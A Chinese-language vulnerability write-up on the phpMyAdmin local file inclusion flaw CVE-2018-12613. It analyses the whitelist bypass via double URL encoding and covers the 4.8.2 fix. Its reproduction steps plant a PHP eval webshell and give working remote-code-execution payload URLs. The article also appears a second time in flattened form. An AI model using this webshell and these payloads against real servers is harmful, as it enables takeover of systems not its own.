CVE-2018-12613 本地文件包含漏洞复现+漏洞分析
字数 2320 2025-08-24 20:49:22

CVE-2018-12613 phpMyAdmin 本地文件包含漏洞分析与复现

漏洞概述

CVE-2018-12613 是 phpMyAdmin 4.8.x 系列(4.8.2 之前版本)中存在的一个本地文件包含漏洞。phpMyAdmin 是一个基于 Web 的 MySQL 数据库管理工具,能够创建和删除数据库,管理数据库表,执行 SQL 命令等。

该漏洞允许攻击者在后台进行任意的文件包含,可能导致远程代码执行(RCE),最终完全控制运行 phpMyAdmin 的服务器。

影响版本

  • phpMyAdmin 4.8.0
  • phpMyAdmin 4.8.0.1
  • phpMyAdmin 4.8.1

漏洞原理

本地文件包含(LFI)

本地文件包含是指当服务器开启 allow_url_include 选项时,可以通过 PHP 的特性函数(如 include()require()include_once()require_once())利用 URL 动态包含文件。如果对文件来源没有严格审查,就会导致任意文件读取或任意命令执行。

漏洞位置

漏洞出现在 index.php 文件中,关键代码如下:

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

要执行文件包含,必须满足以下5个条件:

  1. ! empty($_REQUEST['target']) - target 参数不为空
  2. is_string($_REQUEST['target']) - target 参数是字符串
  3. ! preg_match('/^index/', $_REQUEST['target']) - target 不以 "index" 开头
  4. ! in_array($_REQUEST['target'], $target_blacklist) - target 不在黑名单中(黑名单包含 import.php 和 export.php)
  5. Core::checkPageValidity($_REQUEST['target']) - 通过白名单检查

checkPageValidity 函数分析

checkPageValidity 函数的关键代码如下:

public static function checkPageValidity(&$page, array $whitelist = []) {
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
    if (in_array($page, $whitelist)) {
        return true;
    }
    $_page = mb_substr($page, 0, mb_strpos($page, '?'));
    if (in_array($_page, $whitelist)) {
        return true;
    }
    $_page = urldecode($page);
    $_page = mb_substr($_page, 0, mb_strpos($_page, '?'));
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}

该函数会进行三次检查:

  1. 直接检查完整路径是否在白名单中
  2. 检查问号(?)前的部分是否在白名单中
  3. 对路径进行 URL 解码后,再检查问号前的部分是否在白名单中

漏洞复现

方法一:利用数据库文件创建 shell

  1. 登录 phpMyAdmin,在 demo 数据库新建一个数据表,字段为一句话木马:

    <?php @eval($_GET['s']);?>
    
  2. 查询生成文件的绝对路径:

    show variables like '%datadir%';
    
  3. 在数据目录(如 D:\phpstudy_pro\Extensions\MySQL5.7.26\data\)查看生成的 .frm 文件,确认 shell 已写入

  4. 利用本地文件包含漏洞执行 RCE,payload 如下(根据实际目录调整层级):

    http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/Extensions/MySQL5.7.26/data/demo/shell.frm&s=phpinfo();
    

方法二:利用 session 文件创建 shell

  1. 执行 SQL 语句查看 session 文件(注意 cookie 中 phpMyAdmin 的值):

    <?php @eval($_GET['s']);?>
    
  2. 在 tmp 目录中搜索对应的 session 文件(如 26rsjd2sd6ih3n8iluuepgorun515r9j),确认包含恶意代码

  3. 利用本地文件包含漏洞执行 RCE,payload 如下:

    http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/Extensions/tmp/tmp/sess_kir14uhqhshe8smr1njvphr5slmso84o&s=phpinfo();
    

漏洞利用原理

Payload 构造分析

关键 payload 格式:

target=db_sql.php%253f/../path/to/file
  1. 服务器第一次 URL 解码:%253f%3f(即 ?
  2. checkPageValidity 函数处理:
    • 直接检查 db_sql.php%3f/../path/to/file → 不匹配
    • 检查 db_sql.php%3f(去掉 /../path/to/file)→ 不匹配
    • URL 解码后检查 db_sql.php?(去掉 /../path/to/file)→ db_sql.php 在白名单中,返回 true
  3. 最终执行 include "db_sql.php?/../path/to/file",由于 PHP 的文件系统包装器会忽略问号后的内容,实际包含的是 path/to/file

为什么需要双重编码

  1. 直接使用 ? 会被 checkPageValidity 函数在第一次检查时截断,导致路径检查失败
  2. 使用 %3f 可以绕过第一次检查,但在 include 时仍会被识别为问号
  3. 使用 %253f
    • 服务器第一次解码:%253f%3f
    • checkPageValidity 函数第二次解码:%3f?
    • 这样既绕过了白名单检查,又能在 include 时正确解析路径

修复方案

phpMyAdmin 4.8.2 版本修复了该漏洞,主要修改:

  1. 修改 index.php 中调用 checkPageValidity 的方式:

    Core::checkPageValidity($_REQUEST['target'], [], true)
    

    新增了两个参数:空数组和 true

  2. checkPageValidity 函数新增逻辑:

    if ($include) {
        return false;
    }
    

    $includetrue 时直接返回 false,阻止文件包含执行

总结

CVE-2018-12613 漏洞的核心在于:

  1. index.php 中存在未充分验证的文件包含逻辑
  2. checkPageValidity 函数的白名单检查可以被双重 URL 编码绕过
  3. 攻击者可以利用此漏洞包含任意文件,包括恶意构造的 session 文件或数据库文件,最终实现远程代码执行

修复建议:

  • 立即升级到 phpMyAdmin 4.8.2 或更高版本
  • 限制 phpMyAdmin 的访问权限
  • 禁用不必要的 PHP 危险函数
CVE-2018-12613 phpMyAdmin 本地文件包含漏洞分析与复现 漏洞概述 CVE-2018-12613 是 phpMyAdmin 4.8.x 系列(4.8.2 之前版本)中存在的一个本地文件包含漏洞。phpMyAdmin 是一个基于 Web 的 MySQL 数据库管理工具,能够创建和删除数据库,管理数据库表,执行 SQL 命令等。 该漏洞允许攻击者在后台进行任意的文件包含,可能导致远程代码执行(RCE),最终完全控制运行 phpMyAdmin 的服务器。 影响版本 phpMyAdmin 4.8.0 phpMyAdmin 4.8.0.1 phpMyAdmin 4.8.1 漏洞原理 本地文件包含(LFI) 本地文件包含是指当服务器开启 allow_url_include 选项时,可以通过 PHP 的特性函数(如 include() 、 require() 、 include_once() 、 require_once() )利用 URL 动态包含文件。如果对文件来源没有严格审查,就会导致任意文件读取或任意命令执行。 漏洞位置 漏洞出现在 index.php 文件中,关键代码如下: 要执行文件包含,必须满足以下5个条件: ! empty($_REQUEST['target']) - target 参数不为空 is_string($_REQUEST['target']) - target 参数是字符串 ! preg_match('/^index/', $_REQUEST['target']) - target 不以 "index" 开头 ! in_array($_REQUEST['target'], $target_blacklist) - target 不在黑名单中(黑名单包含 import.php 和 export.php) Core::checkPageValidity($_REQUEST['target']) - 通过白名单检查 checkPageValidity 函数分析 checkPageValidity 函数的关键代码如下: 该函数会进行三次检查: 直接检查完整路径是否在白名单中 检查问号(?)前的部分是否在白名单中 对路径进行 URL 解码后,再检查问号前的部分是否在白名单中 漏洞复现 方法一:利用数据库文件创建 shell 登录 phpMyAdmin,在 demo 数据库新建一个数据表,字段为一句话木马: 查询生成文件的绝对路径: 在数据目录(如 D:\phpstudy_pro\Extensions\MySQL5.7.26\data\ )查看生成的 .frm 文件,确认 shell 已写入 利用本地文件包含漏洞执行 RCE,payload 如下(根据实际目录调整层级): 方法二:利用 session 文件创建 shell 执行 SQL 语句查看 session 文件(注意 cookie 中 phpMyAdmin 的值): 在 tmp 目录中搜索对应的 session 文件(如 26rsjd2sd6ih3n8iluuepgorun515r9j ),确认包含恶意代码 利用本地文件包含漏洞执行 RCE,payload 如下: 漏洞利用原理 Payload 构造分析 关键 payload 格式: 服务器第一次 URL 解码: %253f → %3f (即 ? ) checkPageValidity 函数处理: 直接检查 db_sql.php%3f/../path/to/file → 不匹配 检查 db_sql.php%3f (去掉 /../path/to/file )→ 不匹配 URL 解码后检查 db_sql.php? (去掉 /../path/to/file )→ db_sql.php 在白名单中,返回 true 最终执行 include "db_sql.php?/../path/to/file" ,由于 PHP 的文件系统包装器会忽略问号后的内容,实际包含的是 path/to/file 为什么需要双重编码 直接使用 ? 会被 checkPageValidity 函数在第一次检查时截断,导致路径检查失败 使用 %3f 可以绕过第一次检查,但在 include 时仍会被识别为问号 使用 %253f : 服务器第一次解码: %253f → %3f checkPageValidity 函数第二次解码: %3f → ? 这样既绕过了白名单检查,又能在 include 时正确解析路径 修复方案 phpMyAdmin 4.8.2 版本修复了该漏洞,主要修改: 修改 index.php 中调用 checkPageValidity 的方式: 新增了两个参数:空数组和 true checkPageValidity 函数新增逻辑: 当 $include 为 true 时直接返回 false ,阻止文件包含执行 总结 CVE-2018-12613 漏洞的核心在于: index.php 中存在未充分验证的文件包含逻辑 checkPageValidity 函数的白名单检查可以被双重 URL 编码绕过 攻击者可以利用此漏洞包含任意文件,包括恶意构造的 session 文件或数据库文件,最终实现远程代码执行 修复建议: 立即升级到 phpMyAdmin 4.8.2 或更高版本 限制 phpMyAdmin 的访问权限 禁用不必要的 PHP 危险函数